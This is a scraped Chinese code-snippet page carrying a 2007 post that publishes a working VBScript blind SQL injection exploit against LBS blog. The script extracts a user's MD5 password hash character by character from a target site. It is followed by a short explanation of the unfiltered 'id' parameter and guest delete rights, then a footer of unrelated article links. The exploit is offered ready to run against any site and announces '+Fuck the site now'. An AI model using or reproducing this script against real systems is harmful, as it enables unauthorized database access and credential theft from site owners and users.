LBS blog sql注射漏洞[All version]-官方已有补丁


Posted in Javascript onAugust 26, 2007

呵呵,只是证明下漏洞存在
exp如下,保存为vbs,自己下个程序测试自己吧

'From 剑心
'============================================================================
'使用说明:
' 在命令提示符下:
' cscript.exe lbsblog.vbs 要攻击的网站的博客路径 有效的文章id 要破解的博客用户密码
'如:
' cscript.exe lbsblog.vbs www.xxxx.com/blog/ 1 1
' by loveshell
'============================================================================
On Error Resume Next
Dim oArgs
Dim olbsXML 'XMLHTTP对象用来打开目标网址
Dim TargetURL '目标网址
Dim userid,articleid '博客用户名
Dim TempStr '存放已获取的部分 MD5密码
Dim CharHex '定义16进制字符
Dim charset

Set oArgs = WScript.arguments
If oArgs.count < 1 Then Call ShowUsage()

Set olbsXML = createObject("Microsoft.XMLHTTP")

'补充完整目标网址
TargetURL = oArgs(0)
If LCase(Left(TargetURL,7)) <> "http://" Then TargetURL = "http://" & TargetURL
If right(TargetURL,1) <> "/" Then TargetURL = TargetURL & "/"
TargetURL=TargetURL & "article.asp"

articleid=oArgs(1)
userid=oArgs(2)
TempStr=""
CharHex=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f",",")

WScript.echo "LBS blog All version Exploit"&vbcrlf
WScript.echo "By 剑心"&vbcrlf
WScript.echo "http://www.loveshell.net/    Just For fun :)"&vbcrlf&vbcrlf
WScript.echo "+Fuck the site now"&vbcrlf

Call main(TargetURL,BlogName) 

Set oBokeXML = Nothing

'----------------------------------------------sub-------------------------------------------------------
'============================================
'函数名称:main
'函数功能:主程序,注入获得blog 用户密码
'============================================
Sub main(TargetURL,BlogName)
Dim MainOffset,SubOffset,TempLen,OpenURL,GetPage
For MainOffset = 1 To 40
For SubOffset = 0 To 15
TempLen = 0
    postdata = ""
    postdata = articleid &" and (select left(user_password,"&MainOffset&") from blog_user where user_id=" & userid & ")='" & TempStr&CharHex(SubOffset) &"'"

    OpenURL = TargetURL

olbsXML.open "Post",OpenURL, False, "", ""
    olbsXML.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
olbsXML.send "act=delete&id="& escape(postdata)
GetPage = BytesToBstr(olbsXML.ResponseBody)
'判断访问的页面是否存在
If InStr(GetPage,"deleted")<>0 Then 
'"博客用户不存在或填写的资料有误" 为错误标志 ,返回此标志说明 猜解的 MD5 不正确
'如果得到 0000000000000000 的 MD5 值,请修改错误标志
ElseIf InStr(GetPage,"permission")<>0 Then
TempStr=TempStr & CharHex(SubOffset)
WScript.Echo "+Crack now:"&TempStr
Exit for
Else
WScript.echo vbcrlf & "Something error" & vbcrlf 
WScript.echo vbcrlf & GetPage& vbcrlf 
WScript.Quit
End If 
next
Next
WScript.Echo vbcrlf& "+We Got It:" & TempStr & vbcrlf &vbcrlf&":P Don't Be evil"
End sub

'============================================
'函数名称:BytesToBstr
'函数功能:将XMLHTTP对象中的内容转化为GB2312编码
'============================================
Function BytesToBstr(body)
dim objstream
set objstream = createObject("ADODB.Stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = "GB2312"
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function

'============================
'函数名称:ShowUsage
'函数功能:使用方法提示
'============================
Sub ShowUsage()
WScript.echo " LBS blog Exploit" & vbcrlf & " By Loveshell/剑心"
WScript.echo "Usage:"& vbcrlf & " CScript " & WScript.ScriptFullName &" TargetURL BlogName"
WScript.echo "Example:"& vbcrlf & " CScript " & WScript.ScriptFullName &" http://www.loveshell.net/ 1 1"
WScript.echo ""
WScript.Quit
End Sub

漏洞说明:

src_article.asp中的
......
input["log_id"]=func.checkInt(input["log_id"]);
if(!input["id"]){
strError=lang["invalid_parameter"];
}else{
// Check if the article exists
theArticle.load("log_id, log_authorID, log_catID","log_id="+input["id"]);
strError=false;
}
......

过滤的是log_id,但是使用的确实id,呵呵 :)

然后呢?
class/article.asp中的代码
this.load = function(strselect, strwhere){
var tmpA=connBlog.query("select TOP 1 "+strselect+" FROM [blog_Article] where "+strwhere);
if(tmpA){
this.fill(tmpA[0]);
return true;
}else{
return false;
}
}

上面不用说了吧,呵呵.不过触发要条件的,看能满足不哦!

function articledelete(){
if(theUser.rights["delete"]<1){
// Check User Right - without DB Query
pageHeader(lang["error"]);
redirectMessage(lang["error"], lang["no_rights"], lang["goback"], "javascript:window.history.back();", false, "errorbox");
}else{
var theArticle=new lbsArticle();
var strError;

默认情况下guest都有删除权限的,尽管后面还做了判断,但是注入已经发生,而我们正好利用他的判断注射,呵呵

Javascript 相关文章推荐
利用JQuery的load函数动态加载其它页面的内容的实现代码
Dec 14 Javascript
Node.js与PHP、Python的字符处理性能对比
Jul 06 Javascript
BootStrap智能表单实战系列(十一)级联下拉的支持
Jun 13 Javascript
JS+CSS3实现超炫的散列画廊特效
Jul 16 Javascript
完美解决js传递参数中加号和&amp;号自动改变的方法
Oct 11 Javascript
原生JavaScript实现的简单省市县三级联动功能示例
May 27 Javascript
详解vue 2.6 中 slot 的新用法
Jul 09 Javascript
javascript严格模式详解(含严格模式与非严格模式的区别)
Nov 12 Javascript
swiper实现异形轮播效果
Nov 28 Javascript
node.js中 mysql 增删改查操作及async,await处理实例分析
Feb 11 Javascript
JavaScript监听一个DOM元素大小变化
Apr 26 Javascript
基于JS实现计算24点算法代码实例解析
Jul 23 Javascript
javascript下操作css的float属性的特殊写法
Aug 22 #Javascript
ASP中用Join和Array,可以加快字符连接速度的代码
Aug 22 #Javascript
可以把编码转换成 gb2312编码lib.UTF8toGB2312.js
Aug 21 #Javascript
lib.utf.js
Aug 21 #Javascript
javascript实现上传图片前的预览(TX的面试题)
Aug 20 #Javascript
fix-ie5.js扩展在IE5下不能使用的几个方法
Aug 20 #Javascript
关于恒等于(===)和非恒等于(!==)
Aug 20 #Javascript
You might like
php类中的各种拦截器用法分析
2014/11/03 PHP
PHP比你想象的好得多
2014/11/27 PHP
php之static静态属性与静态方法实例分析
2015/07/30 PHP
php 指定范围内多个随机数代码实例
2016/07/18 PHP
php简单压缩css样式示例
2016/09/22 PHP
PHP实现负载均衡的加权轮询方法分析
2018/08/22 PHP
Yii2框架加载css和js文件的方法分析
2019/05/25 PHP
页面加载完成后再执行JS的jquery写法以及区别说明
2014/02/22 Javascript
JavaScript删除数组元素的方法
2015/03/20 Javascript
三种AngularJS中获取数据源的方式
2016/02/02 Javascript
JS创建对象的写法示例
2016/11/04 Javascript
jQuery插件FusionCharts绘制的3D饼状图效果实例【附demo源码下载】
2017/03/03 Javascript
深入理解vue中的$set
2017/06/01 Javascript
js轮播图无缝滚动效果
2017/06/17 Javascript
简单实现js放大镜效果
2017/07/24 Javascript
深入浅析vue全局环境变量和模式
2020/04/28 Javascript
JavaScript如何实现监听键盘输入和鼠标监点击
2020/07/20 Javascript
Vue 实现对quill-editor组件中的工具栏添加title
2020/08/03 Javascript
vue中的v-model原理,与组件自定义v-model详解
2020/08/04 Javascript
python批量提交沙箱问题实例
2014/10/08 Python
python读写json文件的简单实现
2017/04/11 Python
Python中Proxypool库的安装与配置
2018/10/19 Python
Python3 使用selenium插件爬取苏宁商家联系电话
2019/12/23 Python
pytorch nn.Conv2d()中的padding以及输出大小方式
2020/01/10 Python
香港最大的洋酒零售连锁店:屈臣氏酒窖(Watson’s Wine)
2018/12/10 全球购物
普天C++笔试题
2016/03/20 面试题
优秀志愿者事迹材料
2014/02/03 职场文书
大学班级学风建设方案
2014/05/01 职场文书
在教室放鞭炮的检讨书
2014/09/28 职场文书
党的群众路线教育实践活动整改方案
2014/10/28 职场文书
离婚协议书怎么写
2015/01/26 职场文书
销售员岗位职责
2015/02/10 职场文书
行政主管岗位职责范本
2015/04/09 职场文书
2015年教务工作总结
2015/05/23 职场文书
选调生挂职锻炼工作总结
2015/10/23 职场文书
python 逐步回归算法
2021/04/06 Python